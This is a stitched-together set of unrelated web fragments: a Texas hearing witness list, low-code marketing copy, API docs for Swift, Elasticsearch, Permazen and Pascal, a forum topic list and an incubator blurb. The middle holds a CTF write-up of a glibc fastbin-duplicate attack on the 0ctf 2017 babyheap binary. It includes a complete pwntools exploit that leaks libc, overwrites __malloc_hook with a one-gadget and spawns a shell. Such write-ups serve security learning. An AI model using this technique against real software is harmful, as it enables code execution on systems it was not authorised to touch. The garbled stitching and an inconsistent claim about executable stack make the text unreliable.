Taylor, Jonathan (OoG EDT)
White, Ben (Round rock chamber)
Wood, Robert (Texas Comptroller of Public Accounts)
Registering, but not testifying:
On:
Bostick, Teresa (Texas Comptroller)
Brockman, Rusty (Texas economic development council)
Garcia, Teclo (City of McAllen)
Quin, David (Austin Creative Alliance)
Manufacturing
On:
Bennett, Richard A. (Tony) (Texas Assn of Manufacturers)
Meroney, Mike (Self; Jobs for Texas Coalition)
Wood, Robert (Texas Comptroller of Public Accounts)
1


Explanation of a heap exploit method, the fast bin duplicate attack. This post is based on the babyheap challenge from the 0ctf Quals 2017.
Surroundings
Currently I learn the heap exploit using the How2Heap repository. Today I’m gonna tell you my interpretation of the fast bin attack using the babyheap challenge from the 0ctf quals 2017.
Introduction
This challenge is provided with a binary and its LibC.
Let first begun by recovering some informations of our binary:
From these commands output, we have the following informations:
- The binary is an ELF, compiled for x86_64 architecture ;
- It is dynamically linked ;
- It is stripped ;
The following protections are enabled:
- Full REad onLy RelOcation (We can’t overwrite the GOT entry’s) ;
- Stack smash protection (We must take care about the stack canary’s) ;
- The stack is executable (We can’t execute a shellcode on this memory segment) ;
- Position Independent Executable is enabled (We must leak address’s if we want to use ROP) ;
Let’s try to execute it now:
It seems to be classic heap challenge. We can manage the heap using different command. The following commands are available:
- Allocate, which allocate a chunk (using calloc()) on the heap using a given size (less than 0x1000) and setup a structure with the given size and the allocated chunk, but the structure is not on the heap ;
- Fill, which fill a chunk at a given index using both a given size and content ;
- Free, which free a chunk at a given index, zeroed the chunk pointer and setup the chunk’s structure to unused ;
- Dump, which dump the content of a chunk at a given index ;
- Exit, which exit the process ;
Vulnerability
The vulnerability is located in the Fill
command:
As you can see on the above image, the fill
command ask for a size which is used to read a string of the given size using the read_str
function in the given chunk. There is no boundary check, this allows an attacker to overflow the data located on the heap.
To exploit this heap overflow, I used the fast bin attack
method.
The exploit plan is the following one:
- Leak the LibC using fast bins and small bin ;
- Tricking malloc() into returning the address of
__malloc_hook
; - Overwrite
__malloc_hook
with the address of a one gadget ; - Trigger the hook using malloc()!
Fast bin attack
The fast bin’s array is located in the malloc_state structure. This array has a size of ten and each fast bin hold bins of the same size. (0x20, 0x30, 0x40, etc.) If you want more info about how fast bins work, check here.
The goal of this attack is to overwrite the data of a fast bin to trick malloc() into returning a nearly-arbitrary pointer.
ptmalloc2, the GlibC allocator got many updates seen it was implemented. Today it is a bit harder to exploit this technique due to the security check that have been added to malloc/free. To exploit our binary, we need to bypass the following check in malloc():
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
In case malloc() found a fast bin which has the same size as the requested one, it checks if the size of the returned chunk is in the same index
than the size given to malloc(). If both index
are not equal, malloc will exit and print an error.
But if both size are in the same index, malloc() will return our arbitrary pointer!
Leak LibC
The leak has been the hardest part for me. It took me a while to found a method to leak the LibC because of the followings:
- There are no dangling point, every pointer are zeroed when there are free ;
- When a chunk is allocated, the function used is calloc() so no Use After Free ;
- When we free a pointer, there is a check to know if the pointer is in use or not, so no double free ;
To start, I allocate several chunks. Below is a picture visualizing heap layout:
The heap is composed of 4 fast bins which have a size of 0x20 with their header and 2 small bins which have a size of 0x90 with the header. The fifth first bins are used to leak the LibC and the last small bin is used to force free() to put the fifth chunk into the unsorted bin and so populated the forward pointer when we will free it. If this chunk is not present, free() will consolidate the freed chunk into the top chunk, as you can see below:
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}
This cause free() not to populate the forward pointer.
The leak technique is in 6 parts:
- We first
free
, respectively, the third and second chunk to populate the forward pointer of the second chunk ; - Then we use the heap overflow on the first chunk to overwrite the
Less Significant Byte
of the forward pointer of thesecond chunk
with the value0x80
, which is the LSB of the first small bin. The idea here is to trick malloc into returning the small bin chunk. Using this we will have two pointers which point to the same address ; - If we try to malloc now, malloc will raise an error because of the chunk size condition we saw just before. So we need to edit the size of the first small bin in order to trick malloc. To do this, we will use another time our heap overflow on the fourth allocated chunk to edit the
mchunk_size
header field of the first small bin chunk with the value0x21
.
After these steps, the heap layout look like below:
As you can see, the Less Significant Byte of the forward pointer of the second chunk has been overflowed by the one of the first small bin. The size of the first small bin has also been overflowed by the correct size of our fast bin, 0x20. Next step are the following:
- We allocate two chunks of size 0x20. The first one will have the address of the first freed chunk and the second one will have the address of the first small bin because of our previous trick. Thanks to this, we have two chunks which both point to the
same address
which is the first small bin chunk. - Before being able to leak the LibC, we must set again the size of the first
small bin
, otherwise we will have an error when we free it. (Because we need to free it to populate the forward/backward pointer) So we will use one more time our heap overflow to set the first small bin size to its initialize size which was 0x90. - Now its pretty easy to leak the LibC, we just have to free the first small bin, this will populate the forward/backward pointer of this bin with one of the LibC address’s. Then we can dump the content of the second pointer which also point to the freed area but as this one is up, we can use it.
Exploitation
Now that we defeat the ASLR, we just have to trick malloc into returning the __malloc_hook
address’s then overwrite it with our one gadget
address’s.
This exploit gonna be done in 6 steps:
- First we will allocate 4 fast bins which have a size of
0x70
. The size is very important, you will see why. - Then we are going to free the last one and the one before it in that order.
- Now we will overflow the forward pointer of the second freed chunk using the allocated one before it with the address of the memory area we want malloc() to return. But we can’t simply put the address’s of the
__malloc_hook
because of the following:
gef➤ x/4gx 0x7ffff7dd3af0-16
0x7ffff7dd3ae0 <__memalign_hook>: 0x00007ffff7ab6420 0x00007ffff7ab63c0
0x7ffff7dd3af0 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
The size 0x00007ffff7ab63c0
is not correct so, because of the size condition we saw before, malloc will raise an error as this size is not in the following range:
0x70 < size < 0x7f
But, above __malloc_hook
there are these data’s into the memory:
gef➤ x/8gx 0x7ffff7dd3af0-35
0x7ffff7dd3acd <_IO_wide_data_0+301>: 0xfff7dcff00000000 0x000000000000007f
0x7ffff7dd3add: 0xfff7ab6420000000 0xfff7ab63c000007f
0x7ffff7dd3aed <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd3afd: 0x0100000000000000 0x0000000000000000
As the size 0x7f is in the above range, we can use the offset of the address 0x7ffff7dd3acd
. We will just have to take care of the padding between both addresses to being sure that we overwrote the good address’s.
- Then we have to allocate two chunks in order to trick malloc into returning our arbitrary pointer. The arbitrary pointer will the one returned by the second malloc().
- Then we fill the returned arbitrary pointer with the address’s of our one gadget.
- To finish we will allocate a chunk, this will call malloc but because of the below code from malloc():
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
As __malloc_hook
is not NULL, malloc() will call our one gadget.
Here is my exploit:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
import os
context(arch="amd64", os="linux", endian="little")
#context.log_level="DEBUG"
class Pwn:
def __init__(self):
self.e = ELF("./babyheap")
self.libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
self.p = None
def start_binary(self):
self.p = process("./babyheap")
self.p.recvuntil("Command: ")
def allocate_cmd(self, size):
self.p.sendline("1")
self.p.recvuntil("Size: ")
self.p.sendline(str(size))
self.p.recvuntil("Command: ")
def fill_cmd(self, index, size, content):
self.p.sendline("2")
self.p.recvuntil("Index: ")
self.p.sendline(str(index))
self.p.recvuntil("Size: ")
self.p.sendline(str(size))
self.p.recvuntil("Content: ")
self.p.send(content)
self.p.recvuntil("Command: ")
def free_cmd(self, index):
self.p.sendline("3")
self.p.recvuntil("Index: ")
self.p.sendline(str(index))
self.p.recvuntil("Command: ")
def dump_cmd(self, index):
self.p.sendline("4")
self.p.recvuntil("Index: ")
self.p.sendline(str(index))
return self.p.recvuntil("Command: ")
def leak_libc(self):
self.allocate_cmd(16)
self.allocate_cmd(16)
self.allocate_cmd(16)
self.allocate_cmd(16)
self.allocate_cmd(128)
self.allocate_cmd(128)
self.free_cmd(2)
self.free_cmd(1)
self.fill_cmd(0, 33, "\x00"*24+p64(0x21)+p8(0x80))
self.fill_cmd(3, 32, "\x00"*24+p64(0x21))
self.allocate_cmd(16)
self.allocate_cmd(16)
self.fill_cmd(3, 32, "\x00"*24+p64(0x91))
self.free_cmd(4)
data=self.dump_cmd(2)[10:]
return u64(data[:6]+"\x00"*2)
def rewrite_addr(self, src, dest):
self.allocate_cmd(104)
self.allocate_cmd(104)
self.allocate_cmd(104)
self.allocate_cmd(104)
self.free_cmd(8)
self.free_cmd(7)
self.fill_cmd(6, 120, "\x00"*104+p64(0x70)+p64(src))
self.allocate_cmd(104)
self.allocate_cmd(104)
self.fill_cmd(8, 27, "A"*19+p64(dest))
self.p.sendline("1")
self.p.recvuntil("Size: ")
self.p.sendline(str(1337))
self.p.interactive()
self.p.close()
def pwn_binary(self):
self.start_binary()
base_libc=self.leak_libc()-0x399b58
log.info("Leak libc base address: "+hex(base_libc))
self.rewrite_addr(base_libc+0x399acd, base_libc+0x3f35a)
def main():
pwn = Pwn()
pwn.pwn_binary()
if __name__ == "__main__":
main()
Demo
Let’s test it:
Done.


FAQs
Here’s everything that operations teams need to know about transforming workflows with Budibase.
{{ partial "header.html" . }} {{ partial "navigation.html" . }}
With Budibase, it’s easy to build operations software to cut costs, increase productivity, and reduce admin workloads. Create custom tools to manage complex workflows, with our innovative low-code platform. With Budibase, you can build everything from scheduling tools to resource planning and service management apps, in as little as five minutes. .
"Those same apps, with Budibase, are now here in less than an hour. Colleagues were stunned by the data import functionality, seeing a spreadsheet turn into a web app in minutes was the cherry on top."
Davide Lenzarini, IT manager
Read more
Budibase gives operations teams the power to create fully customized digital operations workflows. Our low-code platform is the ideal way to create fully functional and deployable solutions for operations teams.
Budibase is built for efficiency. Eliminate manual admin tasks with a range of custom automations and third-party integrations.
Create custom tools around your existing processes. Budibase is the fast, cost-effective solution for digitalizing operations workflows.
Use Budibase to oversee even the most complex business processes. We offer advanced data visualization, searchability, and dynamic filtering across all app data.
Budibase is the smart choice for security. Use custom RBAC and optional-self hosting for full control over how users interact with internal or customer data.
Our low-code platform offers unrivaled functionality, with fast and intuitive developer experiences. With Budibase, you can build operations software with unparalleled customization, functionality, and developer experiences.
Build fully custom operations software, in as little as five minutes.
Budibase tools work perfectly on desktop and mobile devices.
Choose self-hosting or our Budibase Cloud platform.
Grant permissions to users, based on seniority, job title, location, and more.
Budibase is the smart choice for creating secure operations systems. With optional self-hosting, our platform offers the flexibility to implement the exact security standards your business needs. We offer fully customizable role-based access control. Take control over how different classes of users access and interact with your operations tools, for maximum security.
We offer a suite of intuitive low-code design tools. Use our simple builder interface to add, remove, rearrange, resize, and style different design elements. Add branding and build intuitive navigation in just a few clicks. Budibase components are also fully responsive and tested for key accessibility standards. We even provide a built-in CSS editor for each component, as well as menus for creating custom conditionality rules.
Choose self-hosting or our Budibase Cloud platform for your operations tools.  Create web applications or internal tools in one intuitive platform. Deploy Budibase tools to your own infrastructure using Kubernetes, Docker, Docker Compose, Digital Ocean, and more.
Budibase is built to automate business processes. Use any in-app action to trigger our wide range of built-in automations. We’ve also provided a JavaScript editor to build advanced custom automations. Use our range of integrations to trigger external app automations. With Budibase, it’s easy to build highly automated operations workflows. Automate approvals, work orders, delegation, process management, and more, at the press of a button.
Connect your operations software to a range of existing datasets. With Budibase, you have complete flexibility to call, query, and manipulate a range of external databases. Use MySQL, MSSQL, Postgresql, CouchDB, Airtable, MongoDB, REST API, and more to connect to existing data. We’ve also provided a proprietary database, with support for direct CSV uploads.
Budibase is the smart way to build operations software. With our intuitive low-code platform, you can build feature-packed, deployable apps in minutes.
With Budibase, it’s easy to make custom operations tools that match your business processes.
Our open-source, low-code platform offers fast developments, without compromising on functionality. In minutes, you can easily create totally bespoke tools for managing business processes and operations.
Create beautiful, multi-screen operations apps.
Use permissions to control what information users have access to.
Set conditions to display different design elements.
Create operations systems that work seamlessly across all devices.
Choose from a number of beautiful and fully customizable themes.
Add your SMTP credentials and trigger automated emails.
Budibase tools are fully accessibility tested.
SSO is free for Budibase users.
Deploy your apps via Kubernetes, Docker, Digital Ocean. Or choose the Budibase Cloud and let Budibase manage everything for you.
{{ partial "deploy-options.html" . }}We’ve built several free, deployable app templates to solve the most common challenges for operations teams. Use our templates to get started with Budibase, and build your perfect tools in minutes.
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Here’s everything that operations teams need to know about transforming workflows with Budibase.


CONFIGURATIONS
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect
Connect


Supported image formats
The following table lists the image formats that can be loaded on each
operating system. If PIL is installed, any additional formats it supports can
also be read. See the Python Imaging Library Handbook for a list of such
formats.
| Extension |
Description |
Windows XP |
Mac OS X |
Linux |
| .bmp |
Windows Bitmap |
X |
X |
X |
| .dds |
Microsoft DirectDraw Surface |
X |
X |
X |
| .exif |
Exif |
X |
|
|
| .gif |
Graphics Interchange Format |
X |
X |
X |
| .jpg .jpeg |
JPEG/JIFF Image |
X |
X |
X |
| .jp2 .jpx |
JPEG 2000 |
|
X |
|
| .pcx |
PC Paintbrush Bitmap Graphic |
|
X |
|
| .png |
Portable Network Graphic |
X |
X |
X |
| .pnm |
PBM Portable Any Map Graphic Bitmap |
|
|
X |
| .ras |
Sun raster graphic |
|
|
X |
| .tga |
Truevision Targa Graphic |
|
X |
|
| .tif .tiff |
Tagged Image File Format |
X |
X |
X |
| .xbm |
X11 bitmap |
|
X |
X |
| .xpm |
X11 icon |
|
X |
X |
The only supported save format is PNG, unless PIL is installed, in which case
any format it supports can be written.


{% extends 'layouts/default/page.html' %} {% load bootstrap4 %} {% load i18n %} {% block content %}
| ID | Album Name | Open Artist | View Album |
|---|---|---|---|
| {{ i.id }} | {{ i.name }} | Artist | Album |
| ID | Album Name | Open Artist | View Album |
No Files are available.
{% endif %} {% endblock %}


author: Tomasz Biela (Tebe)
http://www.freepascal.org/docs-html/rtl/crt/index-5.html
| name: | value: | description: |
|---|---|---|
| CN_START_SELECT_OPTION | 0 | Consol values |
| CN_SELECT_OPTION | 1 | |
| CN_START_OPTION | 2 | |
| CN_OPTION | 3 | |
| CN_START_SELECT | 4 | |
| CN_SELECT | 5 | |
| CN_START | 6 | |
| CN_NONE | 7 | |
| BW40 | 0 | 40x25 B/W on Color Adapter |
| CO40 | 1 | 40x25 Color on Color Adapter |
| BW80 | 2 | 80x25 B/W on Color Adapter |
| CO80 | 3 | 80x25 Color on Color Adapter |
| Mono | 7 | 80x25 on Monochrome Adapter |
| C40 | CO40 | |
| C80 | CO80 | |
| Black | 0 | |
| Blue | 1 | |
| Green | 2 | |
| Cyan | 3 | |
| Red | 4 | |
| Magenta | 5 | |
| Brown | 6 | |
| LightGray | 7 | |
| DarkGray | 8 | |
| LightBlue | 9 | |
| LightGreen | 10 | |
| LightCyan | 11 | |
| LightRed | 12 | |
| LightMagenta | 13 | |
| Yellow | 14 | |
| White | 15 | |
| Blink | 128 |
| name: | address: | type: | description: |
|---|---|---|---|
| Consol | $d01f | byte | CONSOL register |
| name: | type: | description: |
|---|---|---|
| TextAttr | byte = 0 | Text Attribute |
| name: | description: |
|---|---|
| CursorOff | procedure CursorOff;Hide cursor |
| CursorOn | procedure CursorOn;Display cursor |
| ClrScr | procedure ClrScr;Clear screen |
| DelLine | procedure DelLine;Delete line at cursor position |
| InsLine | procedure InsLine;Insert an empty line at cursor position |
| ReadKey | function ReadKey: char; assembler;Read key from keybuffer
returns: |
| TextBackground | procedure TextBackground(a: byte); assembler;Set text background
parameters: |
| TextColor | procedure TextColor(a: byte); assembler;Set text color
parameters: |
| Delay | procedure Delay(count: word); assembler;Waits a specified number of milliseconds
parameters: |
| Keypressed | function Keypressed: Boolean; assembler;Check if there is a keypress in the keybuffer
returns: |
| GotoXY | procedure GotoXY(x,y: byte); assembler;Set cursor position on screen. GotoXY positions the cursor at (X,Y), X in horizontal, Y in vertical direction relative to the origin of the current window. The origin is located at (1,1), the upper-left corner of the window.
parameters: |
| WhereX | function WhereX: byte; assembler;Return X (horizontal) cursor position
returns: |
| WhereY | function WhereY: byte; assembler;Return Y (vertical) cursor position
returns: |
| ClrEol | procedure ClrEol;ClrEol clears the current line, starting from the cursor position, to the end of the window. The cursor doesn't move. |
| NoSound | procedure NoSound; assembler;Reset POKEY |
| Sound | procedure Sound(Chan,Freq,Dist,Vol: byte); assembler;Plays sound
parameters: |
| TextMode | procedure TextMode(Mode: byte); assembler;Reset E: device
parameters: |


Home
Manual
Reference
Source
Repository
Overview
SpeechYL
Installation
From npm
Quick tutorial
Documentation
Usage
Getting started
Simple example commands file
Installation
Installation
From npm
From repository
Getting Started
Tutorial
Tutorial
1) Setting up
2) Write a json file with our commands
3) Write the functions associated with the commands
ES6 (ES2015)
ES5
4) Add the commands and functions to speechYL
5) Start the recognition
Click on a button
Keyboard shortcut
Usage
Usage
Basic configuration
Commands
Programmaticaly
From a json file
Start recognition with a button
Reference
Class
Variable
Overview
SpeechYL
Installation
From npm
Quick tutorial
Documentation
Usage
Getting started
Simple example commands file
Installation
Installation
From npm
From repository
Getting Started
Tutorial
Tutorial
1) Setting up
2) Write a json file with our commands
3) Write the functions associated with the commands
ES6 (ES2015)
ES5
4) Add the commands and functions to speechYL
5) Start the recognition
Click on a button
Keyboard shortcut
Usage
Usage
Basic configuration
Commands
Programmaticaly
From a json file
Start recognition with a button
Reference
Class
Variable


Then
public protocol Then
A swift syntactic sugar for initialized or others. included ‘then’, ‘with’, ‘do’. See https://github.com/devxoul/Then
-
with(_:)
Extension methodMakes it available to set properties with closures just after initializing and copying the value types.
let frame = CGRect().with { $0.origin.x = 10 $0.size.width = 100 }
Declaration
Swift
public func with(_ closure:(inout Self) -> Void) -> Self
-
do(_:)
Extension methodMakes it available to execute something with closures.
UserDefaults.standard.do { $0.set("devxoul", forKey: "username"<EMAIL_ADDRESS>forKey: "email") $0.synchronize() }
Declaration
Swift
public func `do`(_ closure:(Self) -> Void)
-
then(_:)
Extension methodMakes it available to set properties with closures just after initializing.
let label = UILabel().then { $0.textAlignment = .Center $0.textColor = UIColor.blackColor() $0.text = "Hello, World!" }
Declaration
Swift
public func then(_ closure:(Self) -> Void) -> Self


public class TermVectorsRequestBuilder extends ActionRequestBuilder<TermVectorsRequest,TermVectorsResponse,TermVectorsRequestBuilder>
Note, the index
, type
and id
are
required.
action, client, request
| Constructor and Description |
|---|
TermVectorsRequestBuilder(ElasticsearchClient client,
TermVectorsAction action) |
TermVectorsRequestBuilder(ElasticsearchClient client,
TermVectorsAction action,
java.lang.String index,
java.lang.String type,
java.lang.String id)
Constructs a new term vector request builder for a document that will be fetch
from the provided index.
|
| Modifier and Type | Method and Description |
|---|---|
TermVectorsRequestBuilder |
setDfs(boolean dfs)
Sets whether to use distributed frequencies instead of shard statistics.
|
TermVectorsRequestBuilder |
setDoc(XContentBuilder xContent)
Sets the artificial document from which to generate term vectors.
|
TermVectorsRequestBuilder |
setFieldStatistics(boolean fieldStatistics)
Sets whether to return the field statistics for each term in the shard or skip.
|
TermVectorsRequestBuilder |
setFilterSettings(TermVectorsRequest.FilterSettings filterSettings)
Sets the settings for filtering out terms.
|
TermVectorsRequestBuilder |
setId(java.lang.String id)
Sets the id of the document.
|
TermVectorsRequestBuilder |
setIndex(java.lang.String index)
Sets the index where the document is located.
|
TermVectorsRequestBuilder |
setOffsets(boolean offsets)
Sets whether to return the start and stop offsets for each term if they were stored or
skip offsets.
|
TermVectorsRequestBuilder |
setParent(java.lang.String parent)
Sets the parent id of this document.
|
TermVectorsRequestBuilder |
setPayloads(boolean payloads)
Sets whether to return the payloads for each term or skip.
|
TermVectorsRequestBuilder |
setPerFieldAnalyzer(java.util.Map<java.lang.String,java.lang.String> perFieldAnalyzer)
Sets the analyzer used at each field when generating term vectors.
|
TermVectorsRequestBuilder |
setPositions(boolean positions)
Sets whether to return the positions for each term if stored or skip.
|
TermVectorsRequestBuilder |
setPreference(java.lang.String preference)
Sets the preference to execute the search.
|
TermVectorsRequestBuilder |
setRealtime(java.lang.Boolean realtime)
Sets whether term vectors are generated real-time.
|
TermVectorsRequestBuilder |
setRouting(java.lang.String routing)
Sets the routing.
|
TermVectorsRequestBuilder |
setSelectedFields(java.lang.String... fields)
Sets whether to return only term vectors for special selected fields.
|
TermVectorsRequestBuilder |
setTermStatistics(boolean termStatistics)
Sets whether to return the term statistics for each term in the shard or skip.
|
TermVectorsRequestBuilder |
setType(java.lang.String type)
Sets the type of the document.
|
TermVectorsRequestBuilder |
setVersion(long version) |
TermVectorsRequestBuilder |
setVersionType(VersionType versionType) |
beforeExecute, execute, execute, get, get, get, putHeader, request
public TermVectorsRequestBuilder(ElasticsearchClient client, TermVectorsAction action)
public TermVectorsRequestBuilder(ElasticsearchClient client, TermVectorsAction action, java.lang.String index, java.lang.String type, java.lang.String id)
index
, type
and
id
to specify the document to load.public TermVectorsRequestBuilder setIndex(java.lang.String index)
public TermVectorsRequestBuilder setType(java.lang.String type)
public TermVectorsRequestBuilder setId(java.lang.String id)
public TermVectorsRequestBuilder setDoc(XContentBuilder xContent)
public TermVectorsRequestBuilder setRouting(java.lang.String routing)
public TermVectorsRequestBuilder setParent(java.lang.String parent)
public TermVectorsRequestBuilder setPreference(java.lang.String preference)
public TermVectorsRequestBuilder setOffsets(boolean offsets)
public TermVectorsRequestBuilder setPositions(boolean positions)
public TermVectorsRequestBuilder setPayloads(boolean payloads)
public TermVectorsRequestBuilder setTermStatistics(boolean termStatistics)
public TermVectorsRequestBuilder setFieldStatistics(boolean fieldStatistics)
public TermVectorsRequestBuilder setDfs(boolean dfs)
public TermVectorsRequestBuilder setSelectedFields(java.lang.String... fields)
public TermVectorsRequestBuilder setRealtime(java.lang.Boolean realtime)
public TermVectorsRequestBuilder setVersion(long version)
public TermVectorsRequestBuilder setVersionType(VersionType versionType)
public TermVectorsRequestBuilder setPerFieldAnalyzer(java.util.Map<java.lang.String,java.lang.String> perFieldAnalyzer)
public TermVectorsRequestBuilder setFilterSettings(TermVectorsRequest.FilterSettings filterSettings)


Annotation Type OnCreate
-
@Retention(RUNTIME) @Target({ANNOTATION_TYPE,METHOD}) @Documented public @interface OnCreate
Annotates Permazen model class methods that are to be invoked whenever a database object is newly created.Note that there is a subtle distinction between (a) the creation of database objects in the database, and (b) the instantiation of Java model objects that represent database objects (i.e.,
JObject
s). These two events do not occur at the same time; in particular, distinct Java model objects are instantiated to represent the same database object in different transactions. In addition, it's even possible for a Java model object to be instantiated when no corresponding database object exists in the database, e.g., viaJTransaction.get(io.permazen.core.ObjId)
.Methods that are annotated with
@OnCreate
are invoked only for events of type (a). As a consequence, for any database fields that require default initialization, this initialization should be performed not in a Java constructor but rather in an@OnCreate
-annotated method.For example, instead of this:
@PermazenType public abstract class Event { protected Event() { this.setCreateTime(new Date()); } @NotNull public abstract Date getCreateTime(); public abstract void setCreateTime(Date createTime); ...
do this:
@PermazenType public abstract class Event { @OnCreate private void initializeCreateTime() { this.setCreateTime(new Date()); } @NotNull public abstract Date getCreateTime(); public abstract void setCreateTime(Date createTime); ...
Notifications are delivered in the same thread that created the object, immediately after the object is created.
The annotated method must be an instance method (i.e., not static), return void, and take zero parameters. It may have any level of access, including
private
.Meta-Annotations
This annotation may be configured indirectly as a Spring meta-annotation when
spring-core
is on the classpath.
-
-
Optional Element Summary
Optional Elements Modifier and Type Optional Element Description boolean
snapshotTransactions
Determines whether this annotation should also be enabled for snapshot transaction objects.
-
-
-
Element Detail
-
snapshotTransactions
boolean snapshotTransactions
Determines whether this annotation should also be enabled for snapshot transaction objects. If unset, notifications will only be delivered to non-snapshot (i.e., normal) database instances.- Returns:
- whether enabled for snapshot transactions
- See Also:
SnapshotJTransaction
- Default:
- false
-
-


- Login to post new content in the forum.
| Topic | Replies | Created | Last reply | |
|---|---|---|---|---|
| DC Monitoring PV panels with CSLA2CD | 8 | 1 year 48 weeks ago by vaivavalo |
1 year 48 weeks ago by vaivavalo |
|
| DC monitoring 600V/15A | 15 | 4 years 31 weeks ago by Guest |
2 years 6 weeks ago by Gerardo |
|
| DC bias circuit for MULTIPLE sensors | 12 | 1 year 35 weeks ago by Sabirmgd |
1 year 35 weeks ago by dBC |
|
| Data from RPI RFM12B | 2 | 3 years 33 weeks ago by Marquis27 |
3 years 32 weeks ago by mharizanov |
|
| Data acquisition | 7 | 49 weeks 3 days ago by Mrtowelie |
49 weeks 3 days ago by Robert Wall |
|
| D1-D3 diode type | 2 | 1 year 12 weeks ago by Woobatron |
1 year 12 weeks ago by Woobatron |
|
| Cyble sensor compatibility EmonTx v3.4 (pulse counting) | 15 | 1 year 49 weeks ago by pvg |
1 year 35 weeks ago by Larsjo |
|
| Cuurent sensing question | 1 | 5 years 3 weeks ago by Guest |
5 years 2 weeks ago by stephen |
|
| Custom hardware | 1 | 1 year 41 weeks ago by cristianm |
1 year 41 weeks ago by Robert Wall |
|
| current wireless measurement system | 1 | 3 years 12 weeks ago by rsegoly |
3 years 12 weeks ago by Robert Wall |
|
| Current Transformer- SCT-013-030 | 5 | 5 years 38 weeks ago by Guest |
5 years 17 weeks ago by Sergegsx |
|
| Current transformer wide bandwidth, SCT-013-000 | 2 | 3 years 19 weeks ago by Guest |
3 years 19 weeks ago by Guest |
|
| Current Transformer CSLT B100 from Honeywell | 3 | 5 years 41 weeks ago by Guest |
5 years 37 weeks ago by TrystanLea |
|
| Current sensor TA17-03 from elecfreaks.com | 33 | 3 years 29 weeks ago by Guest |
2 years 9 weeks ago by Robert Wall |
|
| Current sensor in Italy | 2 | 5 years 16 weeks ago by Guest |
4 years 50 weeks ago by Guest |
|
| current sensor | 16 | 3 years 23 weeks ago by Guest |
3 years 23 weeks ago by calypso_rae |
|
| Current sensing with 0.33 volt CTs | 3 | 5 years 36 weeks ago by Guest |
5 years 35 weeks ago by glyn.hudson |
|
| Current Sensing | 0 | 5 years 4 weeks ago by Guest |
n/a | |
| Current offset and linearity issues | 7 | 3 years 42 weeks ago by Guest |
3 years 2 weeks ago by franknfurther |
|
| Current Cost Optismart Optical Sensor Tear Down | 1 | 1 year 40 weeks ago by glyn.hudson |
1 year 40 weeks ago by glyn.hudson |
|
| Current clamp connector - corrosion | 0 | 4 years 27 weeks ago by stuart |
n/a | |
| Current (Irms) spike when turning on device or adc adjusting? | 4 | 47 weeks 2 days ago by rseshadr |
47 weeks 1 day ago by rseshadr |
|
| CTs in Parallel Question | 4 | 1 year 30 weeks ago by baldockery |
1 year 28 weeks ago by baldockery |
|
| CTs 2-4 all return a signal of 0 | 3 | 2 years 32 weeks ago by natshiel |
2 years 31 weeks ago by Robert Wall |
|
| Ct's | 0 | 3 years 27 weeks ago by Tinbum |
n/a | |
| CT without a name. | 10 | 3 years 39 weeks ago by Guest |
3 years 28 weeks ago by calypso_rae |
|
| CT with a 0-5V output | 2 | 1 year 27 weeks ago by riataman |
1 year 27 weeks ago by riataman |
|
| CT Wire Size... | 4 | 4 years 45 weeks ago by Guest |
4 years 44 weeks ago by Robert Wall |
|
| CT Voltage sensing | 4 | 1 year 13 weeks ago by cpaw |
1 year 13 weeks ago by emjay |
|
| CT under load and not connected to emonTx | 9 | 2 years 31 weeks ago by fabrice |
2 years 4 weeks ago by Robert Wall |
|
| CT sensors - Interfacing with an Arduino | 4 | 4 years 46 weeks ago by Guest |
4 years 46 weeks ago by Guest |
|
| CT Sensor sensitivity | 3 | 1 year 51 weeks ago by coldpenguin |
1 year 51 weeks ago by Robert Wall |
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| CT sensor reading different +/- values | 6 | 4 years 23 weeks ago by stuart |
4 years 23 weeks ago by Robert Wall |
|
| CT Sensor installation | 4 | 4 years 4 weeks ago by antony.trupe |
3 years 48 weeks ago by tbilan |
|
| CT sensor inside a plug socket? | 3 | 3 years 17 weeks ago by Guest |
3 years 17 weeks ago by calypso_rae |
|
| CT Sensor in a distribution board | 0 | 3 years 8 weeks ago by charliemic |
n/a | |
| CT Sensor and Inductive Loads----> Solved: CT sensor with DC output(has a inbuilt load resistor and rectifying diode), no good ! | 22 | 3 years 14 weeks ago by chris8989 |
2 years 36 weeks ago by Robert Wall |
|
| CT sensor | 1 | 4 years 49 weeks ago by Guest |
4 years 49 weeks ago by glyn.hudson |
|
| CT saturation question | 3 | 1 year 50 weeks ago by BraileTrail |
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|
| CT Question | 15 | 2 years 20 weeks ago by OddThomas |
2 years 19 weeks ago by OddThomas |
|
| CT picking up too much noise | 11 | 1 year 41 weeks ago by bruce_miranda |
1 year 39 weeks ago by dBC |
|
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5 years 27 weeks ago by Paul Reed |
|
| CT offset problem with opamp bias. | 16 | 3 years 33 weeks ago by nubble |
1 year 25 weeks ago by Robert Wall |
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| CT not working? | 3 | 1 year 20 weeks ago by newms |
1 year 19 weeks ago by Robert Wall |
|
| CT noise | 10 | 1 year 2 weeks ago by billvolz |
1 year 1 week ago by Robert Wall |
|
| CT measurement | 4 | 5 years 1 week ago by Larsjo |
5 years 1 day ago by S Bateman |
|
| CT lead extension ? | 2 | 3 years 40 weeks ago by thewaver |
3 years 39 weeks ago by Avontech |
|
| CT installation with PV system | 1 | 2 years 6 weeks ago by Guest |
2 years 6 weeks ago by Robert Wall |
|
| CT input noise | 0 | 5 years 14 weeks ago by Guest |
n/a | |
| CT cable length, | 3 | 2 years 34 weeks ago by warlock |
2 years 34 weeks ago by Robert Wall |


"IMPACT A BILLION LIVES"
GCIED is an environment where young minds interested in the fields of innovative and administration collaborate.It provides oppurtunities for budding startups to explore the "business world" and also advocates the thought that success comes only by "venturing beyond the set boundaries".Although we provide exceptional resources to make a dynamic work habitat,we also aim to build a closely knit community which believes in adopting a logical approach to slove real-world problems.
We un-complete the complex processes involved in initiating a startup,one may walk into our workspace and become an employer in a matter of minutes!
To be established as a territory to ignite young brains.
